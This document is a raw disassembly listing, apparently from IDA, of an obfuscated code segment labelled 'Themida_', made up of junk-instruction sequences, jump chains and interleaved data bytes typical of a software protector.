; ---------------------------------------------------------------------------
loc_55043E: ; CODE XREF: Themida_:00551A1Bj
sub esp, 4
jmp loc_5603F8
; ---------------------------------------------------------------------------
loc_550446: ; CODE XREF: Themida_:00551A11j
push edx
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
pop edx
add edx, 4
sub edx, 4
xchg edx, [esp]
pop esp
mov [esp], ecx
mov cl, 67h
push ax
mov al, 5
add cl, al
pop ax
sub esp, 4
mov [esp], ebx
jmp loc_560A7D
; ---------------------------------------------------------------------------
loc_55047D: ; CODE XREF: Themida_:00552E84j
add edx, 4
push ebp
mov ebp, 7B0D3FD3h
add ebp, 2A595AF3h
add ebp, 62303BAAh
add ebp, 1
jmp loc_55C77C
; ---------------------------------------------------------------------------
aFrW db '(ÃfR¶w',0
db 0F3h
aFzxqAa?IyiSn db 'fZXQµÛ€í?(ëYˆØ[éN',0Ah,0
align 4
dd 835BDD01h, 2C8904ECh, 2474FF24h, 0C2E95D04h, 8B000011h
dd 5451240Ch, 81240C8Bh, 4C4h, 0DBE95000h, 89000133h, 129E90Bh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5504EA: ; CODE XREF: Themida_:00550B63j
mov edx, 78C559BEh
sub esp, 4
jmp loc_554813
; ---------------------------------------------------------------------------
dw 8B58h
dd 8951240Ch, 4C181E1h, 0E9000000h, 0C2CFh, 8324148Bh
dd 0C33004C4h, 66C0B60Fh, 0E9183468h, 11F46h, 260EF1BBh
dd 17C8E914h, 2C890000h, 4EC8124h, 89000000h, 0CCE92424h
db 0FBh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55053B: ; CODE XREF: Themida_:005625F4j
push eax
mov eax, 4F477A46h
shl eax, 4
xor eax, 0F477A464h
add edx, eax
mov eax, [esp]
add esp, 4
push esi
mov esi, 93323CDh
sub esi, 2340164Ah
dec esi
jmp loc_550B9B
; ---------------------------------------------------------------------------
db 0BFh
dd 4, 96F8E9h
db 0
; ---------------------------------------------------------------------------
loc_55056D: ; CODE XREF: Themida_:00555A95j
mov bh, 0D1h
inc bh
jmp loc_556545
; ---------------------------------------------------------------------------
dw 0DDBDh
dd 314FBD3Fh, 77895DEEh, 2C8B5E20h, 4EC8324h, 0E9241C89h
dd 1344Bh
; ---------------------------------------------------------------------------
loc_550590: ; CODE XREF: Themida_:00564B93j
pop esp
mov [esp], ebp
mov ebp, ebx
push esi
mov esi, esp
push ebp
mov ebp, 329973D1h
add ebp, 59C24949h
push 4D03h
mov [esp], ebx
mov ebx, 8C5BBD1Eh
xor ebp, ebx
pop ebx
add esi, ebp
pop ebp
jmp loc_552722
; ---------------------------------------------------------------------------
db 21h, 0D0h, 0E9h
dd 142C5h, 7E1ACD81h, 0ED815A62h, 7E7B7E36h, 40C9E9h, 4C48100h
dd 68000000h, 6163h, 89243489h, 27FC68CEh, 34890000h, 48D3E924h
dd 0EF680001h, 0E95D327Fh, 644Eh, 0E828C42Ch, 0C8BC404h
dd 46E95124h, 89000010h, 3DE92404h, 8B000014h, 0C481241Ch
dd 4, 0FFF8F6E9h, 81DEF7FFh, 0A1CFF1F6h, 0FFF501A1h, 348B2434h
dd 36DFE924h, 91040000h, 0FFFECFE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55063D: ; CODE XREF: Themida_:00559EC4j
mov esp, [esp]
add esp, 4
or eax, eax
jnz loc_558546
push ecx
mov ecx, 15C5792Ah
push 4C71h
mov [esp], ebx
sub esp, 4
mov [esp], edx
push ebx
mov ebx, 57631227h
mov edx, 166A6C91h
xor edx, ebx
push dword ptr [esp]
pop ebx
add esp, 4
and edx, 1BA61BAEh
add edx, 516F2112h
sub edx, 619667D8h
inc edx
neg edx
jmp loc_55C890
; ---------------------------------------------------------------------------
dd 5200C781h, 0F7816DE0h, 2952D7F0h, 835FFA01h, 2EE904ECh
dd 0F7000031h, 0C78147D7h, 0D471BFB5h, 355FF821h, 18043810h
dd 6F04EA81h, 0C2010146h, 6F04C281h, 0E9580146h, 0DF48h
dd 4F86685Bh, 34890000h, 1A94E924h, 0E94D0000h, 0AFA6h
; ---------------------------------------------------------------------------
loc_5506E0: ; CODE XREF: Themida_:00557BBDj
sub edi, 0FFFFFFFFh
push ebx
jmp loc_56443C
; ---------------------------------------------------------------------------
dd 2024F381h, 0D9014E54h, 2C29E95Bh
db 2 dup(0)
word_5506FA dw 8B66h ; DATA XREF: Themida_:0054FEB4o
dd 0C468240Ch, 89000050h, 0D4682404h, 89000056h, 4812424h
dd 424h, 0EC815800h, 4, 87E7E9h, 0E9ED8100h, 0F728EC3Eh
dd 9AED81D5h, 8972507Ch, 37B85DEBh, 296D0377h, 0E8D15BD8h
dd 7E8C148h, 62DA68h, 240C8900h, 185C6EB9h, 0E9C8096Bh
dd 11B77h, 148BD589h, 3A20E924h
db 1, 0
word_55075E dw 0E9ADh ; DATA XREF: Themida_:0054FCB0o
dd 10E32h, 72B268h, 24148900h, 0B9515A54h, 4, 324AEA81h
dd 0CA015598h, 10D31E9h, 0BE95B00h
db 40h, 1, 0
; ---------------------------------------------------------------------------
loc_550787: ; CODE XREF: Themida_:0056411Fj
push dword ptr [esp]
mov eax, [esp]
add esp, 4
sub esp, 4
mov [esp], ecx
push esp
pop ecx
add ecx, 4
add ecx, 4
jmp loc_559110
; ---------------------------------------------------------------------------
db 89h
dd 4C781E7h, 50000000h, 4B8h, 58C72900h, 5C243C87h, 54243C89h
dd 0FF5DE95Fh, 0C6010000h, 4EE8358h, 5C243487h, 0BA241489h
dd 1818124Ah, 137EE9h, 243BF00h, 0F801427Ah, 2DD0015Fh
dd 427A0243h, 5A2434FFh, 0E9E68956h, 0F36h, 4BC968h, 0AC5E900h
dd 14890000h, 38B95124h, 89351960h, 0BA5259CAh, 4DA10681h
dd 66FAE281h, 0AAE929F3h
db 38h, 2 dup(0)
byte_550827 db 0FFh ; DATA XREF: Themida_:0054FCD8o
dd 48B2434h, 73516824h, 3C890000h, 3E6A6824h, 0D7E90000h
dd 890000E0h, 0F30158C6h, 0CFD6E9h, 0EB814300h, 561865EAh
dd 1C8BDF89h, 4C48324h, 0B1F3E955h, 0C1590000h, 0DEF704EEh
dd 323CF681h, 8CE9BF15h, 59000059h, 0C6D3E9h, 4EC8300h
dd 2E32E9h
db 0
; ---------------------------------------------------------------------------
loc_55087D: ; CODE XREF: Themida_:0055FCEDj
push esi
jmp loc_556AC1
; ---------------------------------------------------------------------------
loc_550883: ; CODE XREF: Themida_:005654C2j
add esp, 4
mov [edi+20h], ebp
push dword ptr [esp]
pop ebp
jmp loc_55E8E8
; ---------------------------------------------------------------------------
loc_550895: ; CODE XREF: Themida_:00553429j
mov ebp, 474D4191h
not ebp
shr ebp, 4
add ebp, 0A4F1F4Eh
xor esi, ebp
pop ebp
mov ecx, esi
pop esi
push edi
jmp loc_550F9E
; ---------------------------------------------------------------------------
db 81h, 0C3h, 4
dd 83000000h, 1C8704C3h, 6622E924h, 0E9570000h, 11D74h
dd 7F173BBBh, 0E9DE313Ch, 0FC4Eh, 24043359h, 0D788E9h
dd 1FD9B900h, 0E9C168ADh, 57FEE908h, 0BE560000h, 4, 335EF329h
dd 1C31241Ch, 241C3324h, 2404895Ch, 4B8h, 0C1BE5600h, 0C148425Bh
dd 814605E6h, 0AC0690EEh, 0C6814655h, 0A243CD71h, 348BF129h
dd 4C48324h, 0FE23E9h, 0A3BD5500h, 2915A257h, 815A5DE9h
dd 4ECh, 243C8900h, 4D1768h, 242C8900h, 4BDh, 5DEF8900h
dd 34FFF901h, 0C1E95F24h, 68000048h, 385Bh, 0A434E9h, 0E930FF00h
dd 0FFFFF5AFh, 0EACC781h, 69E905D7h
db 0D1h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_550973: ; CODE XREF: Themida_:00564AE9j
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
push esp
pop dword ptr [esp]
jmp loc_557DF3
; ---------------------------------------------------------------------------
loc_55098C: ; CODE XREF: Themida_:0055248Bj
sub eax, ebx
push esi
jmp loc_554657
; ---------------------------------------------------------------------------
dd 4C48159h, 30000000h, 1C8B66D8h, 2C48324h, 23B75351h
dd 0D71DE9h
db 0
; ---------------------------------------------------------------------------
loc_5509AD: ; CODE XREF: Themida_:0055F5B8j
xor edx, [esp]
mov esp, [esp]
add [edi+24h], eax
push dword ptr [esp]
jmp loc_559EF0
; ---------------------------------------------------------------------------
dw 0D601h
dd 113D7E9h
db 0
byte_5509C5 db 66h, 8Bh, 4 ; DATA XREF: Themida_:0054FD2Co
dd 41FE924h, 28B80000h, 0C1039056h, 0F70508E8h, 0E973175Dh
dd 0BA11h
dword_5509E0 dd 24048B66h, 26146850h, 8F540000h, 0BD552404h, 4, 4244481h
; DATA XREF: Themida_:0054FCACo
dd 7EE03D0h, 4246C01h, 13932E9h, 61BF5700h, 0E904D164h
dd 0FFFFFEB2h
; ---------------------------------------------------------------------------
loc_550A10: ; CODE XREF: Themida_:0055BC64j
pop edx
push edx
mov edx, 7797203Ah
xor edx, 1E00B58h
xor edx, 4A7830F5h
jmp loc_550305
; ---------------------------------------------------------------------------
loc_550A28: ; CODE XREF: Themida_:00554A96j
add ebx, ecx
jmp loc_5560A6
; ---------------------------------------------------------------------------
db 87h
dd 305C240Ch, 0C0B60FC3h, 0E98734FFh, 0FFFFF4D7h, 0C381CB29h
dd 94673ECh, 592434FFh, 4C481h, 0EB810000h, 553F2E6Bh
dd 0E930FF66h, 0FFFFF4B7h, 875DE829h, 24E92404h, 6600004Dh
dd 0B7241C89h, 66FA3085h, 7E2C05Bh, 0F6DCB353h, 0CAF380DBh
dd 6F83E950h, 0EDC10000h, 3BF58105h, 123284Ch, 242C8BEBh
dd 4B04C483h, 0A194E9h, 92DAF700h, 0A8685257h, 5A42E973h
dd 12F87E9h, 65C26800h, 91E90000h
db 42h, 1, 0
byte_550AB7 db 0FFh ; DATA XREF: Themida_:0054FDF4o
dd 0F459E932h, 0C781FFFFh, 0EA44775h, 9A50E9h, 243C8700h
dd 2BE565Ch, 1000000h, 3C335EF7h, 243C3124h, 0E16FE9h
dd 5F595700h, 403CE9h, 0C6805900h, 0F6CEFE8Bh, 80C680D6h
dd 45AF028h, 41AE91Ah
db 2 dup(0)
word_550AFE dw 0E9ADh ; DATA XREF: Themida_:0054FE3Co
dd 13B8Dh, 1489665Ch, 9C506624h, 0FFF406E9h, 24048BFFh
dd 4C481h, 34870000h, 0AB05E924h, 89500000h, 0D5BD55E0h
dd 0E968F602h, 8B58h
; ---------------------------------------------------------------------------
loc_550B30: ; CODE XREF: Themida_:00551BBAj
pop ebx
neg ebp
add ebp, 7F361996h
shl ebp, 7
sub ebp, 32FF90E4h
xor edi, ebp
pop ebp
jmp loc_55A274
; ---------------------------------------------------------------------------
dw 0E789h
dd 4BB53h, 0DF010000h, 46B3E95Bh, 48F0000h, 13FAE924h
db 1, 0
; ---------------------------------------------------------------------------
loc_550B62: ; CODE XREF: Themida_:0055C8BEj
push edx
jmp loc_5504EA
; ---------------------------------------------------------------------------
dd 3E4DC5BDh, 0E9EA0136h, 1391h
; ---------------------------------------------------------------------------
loc_550B74: ; CODE XREF: Themida_:00552C36j
pop esi
pop dword ptr [esp]
pop esp
sub esp, 4
jmp loc_5582B6
; ---------------------------------------------------------------------------
loc_550B81: ; CODE XREF: Themida_:00556386j
add al, 5Eh
add al, cl
sub al, 5Eh
pop cx
add al, 41h
sub al, 0FFh
jmp loc_55FBE3
; ---------------------------------------------------------------------------
loc_550B92: ; CODE XREF: Themida_:00565276j
sub edx, ecx
mov ecx, edx
jmp loc_560077
; ---------------------------------------------------------------------------
loc_550B9B: ; CODE XREF: Themida_:0055055Ej
dec esi
dec esi
xor esi, 7F6E2EA4h
sub esi, 9A9D2320h
jmp loc_55F5AF
; ---------------------------------------------------------------------------
word_550BAE dw 8B66h ; DATA XREF: Themida_:0054FD88o
dd 2568240Ch, 89000022h, 0EC83243Ch, 24348904h, 60B0E9h
dd 0FFC68000h, 86E9D6F6h, 8B0000D5h, 0C4832404h, 0B16EE904h
dd 1C890000h, 0B75BBB24h, 1FE94CF0h, 81000118h, 0EB32CEF1h
dd 96BF5719h, 311E3F28h, 243C8BF9h, 4C481h, 0C1830000h
dd 4706E901h, 2C890000h, 263B6824h, 0A1E90000h, 0BD0000FCh
dd 1B4B72AEh, 0C2B5F581h, 5E9A032h
db 49h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_550C23: ; CODE XREF: Themida_:005647F8j
sub edx, 12861E92h
jmp loc_55F503
; ---------------------------------------------------------------------------
loc_550C2E: ; CODE XREF: Themida_:00564CE2j
add esp, 4
add edx, 21144756h
neg edx
neg edx
xor edx, 2D2E4D64h
mov ebx, edx
pop edx
mov esi, ebx
pop ebx
push 7732h
mov [esp], esi
mov esi, 3D6D14F9h
shr esi, 7
jmp loc_550EE4
; ---------------------------------------------------------------------------
db 81h
dd 304062EBh, 81C30131h, 304062C3h, 0D9015831h, 2C1815Bh
dd 33000000h, 0C31240Ch, 240C3324h, 7350E9h, 0D15F5E00h
dd 41F581E5h, 4572E772h, 243C8755h, 3C87D7F7h, 0CD815D24h
dd 57E669F2h, 9211C581h, 0EF012009h, 5D2434FFh, 9A47E9h
dd 0C5BA5200h, 8138F300h, 5451CBCAh, 0C281420Dh, 0F28C2949h
dd 815AD329h, 32544DC6h, 81DE0133h, 32544DEEh, 6957E933h
dd 0B9510000h, 88339B4h, 1294C981h, 0C1411FADh, 0E94105E1h
dd 0B3BEh, 485EF001h, 113868h, 240C8900h, 0DF582DB9h, 6E09051Fh
dd 0C80173C5h, 0C56E092Dh, 0FA0E973h, 0D2F70000h, 6B8FBF57h
dd 0B4E96E89h
db 93h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_550D1F: ; CODE XREF: Themida_:00561F8Aj
pop edi
dec edx
xor edx, 0F8A127Fh
sub ebp, edx
pop edx
xchg ebp, [esp]
pop esp
mov [esp], esi
jmp loc_560685
; ---------------------------------------------------------------------------
loc_550D36: ; CODE XREF: Themida_:00556060j
pop edi
xor eax, [esp]
jmp loc_56062E
; ---------------------------------------------------------------------------
byte_550D3F db 66h ; DATA XREF: Themida_:0054FDE8o
dd 5224048Bh, 24148B54h, 5304C483h, 84F5EBBh, 40E94B68h
db 65h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_550D57: ; CODE XREF: Themida_:0056456Dj
pop esi
sub eax, esi
pop esi
not eax
push ecx
mov ecx, 587C0DA7h
inc ecx
or ecx, 45DE57BBh
and ecx, 788B3CD4h
and ecx, 22961C8Ch
dec ecx
xor ecx, 391E63D9h
sub eax, 38612F89h
add eax, ecx
jmp loc_5571F9
; ---------------------------------------------------------------------------
db 54h, 8Fh, 4
aHG_0 db '$hÙG',0
align 2
dw 1C89h
dd 47A9BB24h, 5CE933A3h, 68000144h, 513D7A0Fh, 4F00E9h
db 0
byte_550DA9 db 0ACh, 30h, 0D8h ; DATA XREF: Themida_:0054FC58o
dd 55E68956h, 411AF2BDh, 11ED816Dh, 815B800Fh, 0E03F19F5h
dd 1917E978h, 0EB810001h, 23116066h, 5F2434FFh, 8304C483h
dd 0FF5304C3h, 0E9042474h, 0C244h
; ---------------------------------------------------------------------------
loc_550DE0: ; CODE XREF: Themida_:0055B010j
push ebp
pop edi
pop ebp
mov eax, 202C6DDBh
jmp loc_55C852
; ---------------------------------------------------------------------------
db 81h, 0ECh, 4
dd 89000000h, 0E189240Ch, 3233BE56h, 0EE817BBBh, 772B654Fh
dd 0FFFFEE81h, 0EC81FFFFh, 4, 0BD242C89h, 29E936DFh, 0FCE1B850h
dd 0C501F79Eh, 216CE9h
db 0
; ---------------------------------------------------------------------------
loc_550E25: ; CODE XREF: Themida_:00558A55j
mov edi, 42FC7B41h
jmp loc_55937C
; ---------------------------------------------------------------------------
db 5Dh
dd 0B5E9F029h
db 0E5h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_550E37: ; CODE XREF: Themida_:00552F3Cj
or eax, 661D5F79h
add eax, 89E5C560h
xor ebx, eax
push dword ptr [esp]
pop eax
push eax
mov eax, esp
add eax, 4
jmp loc_55E3B2
; ---------------------------------------------------------------------------
dd 0D2F74A5Ah, 1138FE9h, 4EE8300h, 51ABE9h
db 0
; ---------------------------------------------------------------------------
loc_550E65: ; CODE XREF: Themida_:005609A0j
xor ecx, esi
pop esi
mov esi, ecx
pop ecx
dec esi
shr esi, 3
sub esp, 4
mov [esp], eax
mov eax, 3A897ABCh
push esi
mov esi, 16C656E7h
jmp loc_5556B3
; ---------------------------------------------------------------------------
loc_550E85: ; CODE XREF: Themida_:0055EA5Ej
sub edx, ecx
mov ecx, [esp]
push eax
push esp
jmp loc_5633EE
; ---------------------------------------------------------------------------
db 29h, 0D6h, 0E9h
dd 1359Eh, 5AE8E95Bh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_550E9E: ; CODE XREF: Themida_:0055431Fj
push edx
mov edx, 381C1928h
shl edx, 1
and edx, 2F9B1814h
jmp loc_551BBF
; ---------------------------------------------------------------------------
loc_550EB1: ; CODE XREF: Themida_:0055CC89j
xor edi, 5FD12BA5h
mov ebx, edi
pop edi
or ebx, 10DC0C7Bh
dec ebx
sub ebx, 38CAF487h
jmp loc_552145
; ---------------------------------------------------------------------------
dd 5BDA015Eh, 0AFE9D2F7h, 83000083h, 0C58004C4h, 0E9CDFE48h
dd 3361h
; ---------------------------------------------------------------------------
loc_550EE4: ; CODE XREF: Themida_:00550C5Aj
add esi, 0FFFFFFFFh
shr esi, 8
not esi
add esi, 7D32885Fh
sub ecx, esi
mov esi, [esp]
add esp, 4
add ecx, esi
add ecx, 7D320D84h
jmp loc_5552AE
; ---------------------------------------------------------------------------
aIXs db 'ˆÂXéÄ',0Ah,0
align 2
dw 0E95Bh
dd 0E203h, 1A2CD828h, 0BC2C1C04h, 808CB551h, 0D5F68AF5h
dd 10469E9h
db 0
; ---------------------------------------------------------------------------
loc_550F2D: ; CODE XREF: Themida_:0055A5BAj
shr dh, 5
jmp loc_5532EE
; ---------------------------------------------------------------------------
db 68h, 97h, 5Fh
dd 0C890000h, 2D70E924h, 14890000h, 0E95A5424h, 11B17h
dd 96C7B68h, 57BEE92Fh, 0C2830000h, 24148704h, 4BB535Ch
dd 56000000h, 6B19E5BEh, 77C4E962h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_550F6E: ; CODE XREF: Themida_:0055A05Fj
pop ebp
not eax
jmp loc_55E19D
; ---------------------------------------------------------------------------
dw 0B5B8h
dd 2D51B819h, 0F0E9FAA3h, 48BC301h, 4C48124h, 0E9000000h
dd 0E934h, 806EB551h, 0EA0006EDh, 2D86E959h
db 1, 0
; ---------------------------------------------------------------------------
loc_550F9E: ; CODE XREF: Themida_:005508ACj
mov edi, 26A24BC5h
sub ecx, edi
jmp loc_558C98
; ---------------------------------------------------------------------------
aGsym db 'µgéYm',0
dd 4C48100h, 83000000h, 0C48104C4h, 4, 0FFEF52E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_550FC5: ; CODE XREF: Themida_:00564095j
and edx, edi
pop edi
jmp loc_55CAF3
; ---------------------------------------------------------------------------
aXh_ db 'XhÔ_',0
dw 8900h
dd 0FD88240Ch, 0EF88D5F6h, 0E9516659h, 0AB27h
; ---------------------------------------------------------------------------
loc_550FE4: ; CODE XREF: Themida_:00557206j
push edi
push 71372292h
pop edi
push ebp
mov ebp, 216421DCh
push esi
mov esi, 4277185Eh
or esi, 7DEF2B2Ah
dec esi
sub esi, 4AAA23E0h
jmp loc_55FF96
; ---------------------------------------------------------------------------
db 0B9h, 0A5h, 66h
dd 0E1811C07h, 0AB9380Fh, 4E9C141h, 3D81E981h, 0E1C13821h
dd 7AE98102h, 1E239C1h, 240C8BC8h, 4C481h, 0C3010000h
dd 241C8758h, 0E117E9h, 4ED6F700h, 2BBF5746h, 291A4565h
dd 0D6F75FFEh, 303EE81h, 0F331AA17h, 8BDF015Eh, 0A1E9241Ch
dd 810000B0h, 2C4CCAC7h, 32EE816Bh, 0E9180E44h, 946Fh
; ---------------------------------------------------------------------------
loc_551070: ; CODE XREF: Themida_:00565442j
and ebp, 3E27161Fh
push ecx
mov ecx, 61C77D97h
and ebp, ecx
pop ecx
xor ebp, 5B6738C2h
sub eax, ebp
pop ebp
push edx
mov edx, 45863EB4h
push ecx
mov ecx, 78175C49h
and edx, ecx
push dword ptr [esp]
jmp loc_55AE25
; ---------------------------------------------------------------------------
dw 0FBB9h
dd 29744375h, 122D59CBh, 1315B70h, 4DE955D8h
db 18h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_5510B3: ; CODE XREF: Themida_:00559D63j
push ebx
push esi
mov esi, 119055BBh
mov ebx, esi
jmp loc_564068
; ---------------------------------------------------------------------------
db 81h, 0F3h, 5Fh
dd 299BE01Fh, 8597E9D9h, 0D1BB0000h, 0E913EC5Dh, 98A1h
dd 0C0EACB80h, 0CBFE03E3h, 807FE380h, 0D800AEC3h, 0C3305B5Bh
dd 0FFC0B60Fh, 62688734h, 8900000Dh, 0CBD242Ch, 0E926A14Dh
dd 1405h
; ---------------------------------------------------------------------------
loc_551104: ; CODE XREF: Themida_:00556ABCj
add [esp+4], edx
pop edx
push dword ptr [esp]
mov eax, [esp]
push edx
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp]
pop esp
jmp loc_55BA2C
; ---------------------------------------------------------------------------
dd 0DD635CB9h, 59CF012Eh, 0B850D701h, 7C9B1EB2h, 0D926D525h
dd 1BD555Dh, 29000000h, 0D0F75DE8h, 561BBD55h, 19E94D51h
dd 0BD00008Ch, 7C035339h, 4CE9DD31h, 57000091h, 4BFh, 5FFA0100h
dd 3DA4E9h, 42E95600h, 530000A8h, 0D1778F68h, 0D9095B58h
dd 4CC9815Bh, 501AE724h, 793FCAB8h, 58C1313Ah, 4021F181h
dd 63E96486h
db 7Eh, 2 dup(0)
aNsP db 'é#¯',0 ; DATA XREF: Themida_:0054FE30o
db 0
; ---------------------------------------------------------------------------
loc_551199: ; CODE XREF: Themida_:0055343Ej
add ecx, 4
xchg ecx, [esp]
pop esp
pop dword ptr [esp]
pop esp
and ecx, edx
pop edx
shr ecx, 0Ah
push esi
push ebx
mov esi, [esp]
push edi
sub esp, 4
mov [esp], esp
push ebx
mov ebx, 4
add [esp+4], ebx
jmp loc_557D20
; ---------------------------------------------------------------------------
db 0B8h
dd 4, 8758C329h, 895C241Ch, 8268240Ch, 0E936F791h, 0F168h
; ---------------------------------------------------------------------------
loc_5511E4: ; CODE XREF: Themida_:0055C777j
add esi, 178715E3h
pop ebx
inc esi
shr esi, 8
shl esi, 4
dec esi
add esi, 357305B6h
sub esi, 3B540D81h
add ecx, esi
jmp loc_55EC11
; ---------------------------------------------------------------------------
dw 0C87h
dd 24248B24h, 0FF241489h, 0E9042474h, 0DC91h, 4C6815Eh
dd 83000000h, 343304C6h, 24343124h, 0E9243433h, 121EFh
dd 4CF181h, 0D1F76DE3h, 72ECE949h, 14330000h, 24143124h
dd 624EE9h
db 0
; ---------------------------------------------------------------------------
loc_551249: ; CODE XREF: Themida_:0055CB00j
push ebx
mov ebx, 25F5148h
add ebx, 12976925h
dec ebx
not ebx
inc ebx
xor ebx, 0D0345BF1h
xor esi, ebx
jmp loc_5527DD
; ---------------------------------------------------------------------------
loc_551266: ; CODE XREF: Themida_:005554A1j
mov edx, 1C981D89h
mov ebp, edx
pop edx
inc ebp
add ebp, 621DF00Ch
push edi
jmp loc_5517DC
; ---------------------------------------------------------------------------
db 81h
dd 905BF0C3h, 242C8B7Ch, 52E18951h, 12FF0E9h
db 0
; ---------------------------------------------------------------------------
loc_55128D: ; CODE XREF: Themida_:005569E8j
pop ecx
push ecx
mov ecx, 37F90087h
and ecx, 5E780F01h
add ecx, 1A6D62FBh
jmp loc_561DEC
; ---------------------------------------------------------------------------
db 0BEh, 1, 0Eh
dd 0F3010560h, 3EBC15Eh, 4C7BEB81h, 0DA89CB4Ch, 0CEC7E95Bh
dd 48F0000h, 24248B24h, 4B30F66h, 48E99C24h, 89FFFFECh
dd 89502414h, 405E0h, 0E8830000h, 24048704h, 0E924248Bh
dd 6C15h, 88A3B652h, 58E95AF3h, 5700002Ah, 0B850E789h
dd 14D57D6Fh, 0BB53D8F7h, 2BA71FF5h, 1C8BD801h, 4C48124h
dd 35000000h, 7F5A04E4h, 6EBB5348h, 432D0836h, 0BE56DBF7h
dd 541156A5h, 0DAE9F301h, 83000113h, 0EB8104C4h, 0B2A7FDAh
dd 0C381EB29h, 0B2A7FDAh, 0F330E9h, 0E9D80100h, 138A0h
dd 0ABE68h, 24048900h, 0C07684B8h, 77F76810h, 0C890000h
dd 8684B924h, 0C82948BEh, 70C18159h, 145A266h, 70E981C1h
dd 5845A266h, 0E959CB31h, 0E637h, 24E4EA81h, 0E9592C0Ah
dd 884Dh, 18497DB8h, 209C0D42h, 0D8F734D1h, 0C22DD0F7h
dd 94792F2h, 24048BC2h, 8104C483h, 0B591EEF2h, 8BD5894Fh
dd 0C4812414h, 4, 32DEA81h, 0EA8121D5h, 11A847D6h, 0C281EA01h
dd 11A847D6h, 32DC281h, 515D21D5h, 2B956857h, 3C8B466Fh
dd 4C48124h, 81000000h, 101792C7h, 83C78179h, 8999ADBDh
dd 9FB8E9F9h, 0F7310000h, 8124348Bh, 4C4h, 0E38DE900h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_551402: ; CODE XREF: Themida_:0055DC6Fj
pop esp
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
jmp loc_557DB7
; ---------------------------------------------------------------------------
loc_551414: ; CODE XREF: Themida_:005633F7j
push ecx
push dword ptr [esp+4]
pop ecx
jmp loc_5551A5
; ---------------------------------------------------------------------------
loc_55141F: ; CODE XREF: Themida_:00554F6Cj
mov edx, esp
jmp loc_55EDFB
; ---------------------------------------------------------------------------
dw 0C181h
dd 4, 4BA52h, 0D1010000h, 240C875Ah, 0B56DE95Ch, 48F0000h
dd 24248B24h, 68241C89h, 772Ah, 83242489h, 5B042404h, 663868h
dd 51D6E900h
db 2 dup(0)
word_55145E dw 2DADh ; DATA XREF: Themida_:0054FDC8o
dd 76B402FEh, 4A4C582Dh, 32A1E959h, 34870000h, 2C895C24h
dd 1E17E924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_55147A: ; CODE XREF: Themida_:00558EA1j
push ebx
push ebp
push ebx
push 6B3C6E63h
mov ebx, [esp]
jmp loc_55E2C3
; ---------------------------------------------------------------------------
loc_55148A: ; CODE XREF: Themida_:00565090j
pop dword ptr [esp]
mov esp, [esp]
push 28DCh
mov [esp], esi
mov esi, 7898714Bh
sub esi, 6834102Fh
and esi, 27CA6705h
xor esi, 683A9Fh
xor esi, 1476582Fh
xchg ebp, esi
not ebp
xchg ebp, esi
push esi
xchg ebx, [esp]
not ebx
xchg ebx, [esp]
pop esi
sub esi, 739C217Ah
push edx
push 23EDh
jmp loc_5561F1
; ---------------------------------------------------------------------------
loc_5514D6: ; CODE XREF: Themida_:00559BB5j
sub esp, 4
mov [esp], eax
push 36C140C5h
mov eax, [esp]
add esp, 4
shr eax, 6
push ebx
mov ebx, 6F083DD6h
jmp loc_553ADE
; ---------------------------------------------------------------------------
dd 0F706E6C1h, 0EE814ED6h, 0FEFBFBBAh, 0A5ADE9h, 0FF5D5F00h
dd 1C8B2434h, 4C48124h, 56000000h, 4EC81h, 24890000h, 24048124h
dd 4, 8124348Bh, 4C4h, 4C68100h, 68000000h, 69CCh, 0B8240489h
dd 29776490h, 0B951D8F7h, 0D6889B74h, 159C831h, 0F5BBE9C6h
dd 0F740FFFFh, 459535D8h, 0D8F77161h, 0B5FEE956h, 0E9550000h
dd 2F3h, 4437C681h, 7868189Ch, 89000078h, 0EC812404h, 4
dd 0B9240C89h, 71F153B6h, 0F00F86B8h, 59C801B7h, 1DF3C681h
dd 0C6295F33h, 1DF3EE81h, 5B585F33h, 5550C601h, 4673B7BDh
dd 569EB839h, 0E83137D7h, 0F89BE9h, 240C8700h, 5352515Ch
dd 89E950B3h
db 4Fh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_5515C3: ; CODE XREF: Themida_:00551E40j
push eax
jmp loc_55A28D
; ---------------------------------------------------------------------------
db 0BAh, 0B9h, 4Dh
dd 0C28153A8h, 51A966A8h, 0A62EA81h, 81423BDCh, 0B46EADC2h
dd 8BD389B7h, 0C4812414h, 4, 0C15BDA21h, 0F28103E2h, 71C18F81h
dd 55AD001h, 31195CB3h, 0E957C801h, 1345Ah, 592434FFh
dd 8304C483h, 3C8904ECh, 4D0B6824h, 0A2E90000h
db 75h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55161F: ; CODE XREF: Themida_:005645A0j
pop esp
and ecx, ebp
push dword ptr [esp]
pop ebp
add esp, 4
shr ecx, 6
jmp loc_554BD9
; ---------------------------------------------------------------------------
db 81h, 0C2h, 0D0h
dd 0E9402639h, 8EF3h, 405E089h, 83000000h, 0FF5004C0h
dd 58042474h, 0C8A9E9h, 81E18900h, 4C1h, 4C18300h, 0FFFF54E9h
dd 4C481FFh, 28000000h, 348368D8h, 32E90000h, 5A0000F5h
dd 81E28952h, 4C2h, 4B85000h, 0E9000000h, 0FFFFEB7Ch, 51241489h
dd 10911E9h, 24048F00h, 8124248Bh, 0ED12A6F3h, 18E95041h
dd 83000078h, 0BF5704C4h, 69E0CA5h, 137EEE9h, 59CF8100h
dd 81034C7Ah, 5C42E5EFh, 0BBF7816Ch, 1B15377h, 0B1055FF8h
dd 5601E67h, 7EA1FA4h, 0A42DD029h, 6807EA1Fh, 7390h, 0B9240C89h
dd 0BDD3CFEh, 1B4FC181h, 0C1817E6Dh, 79905D2Ch, 10881E9h
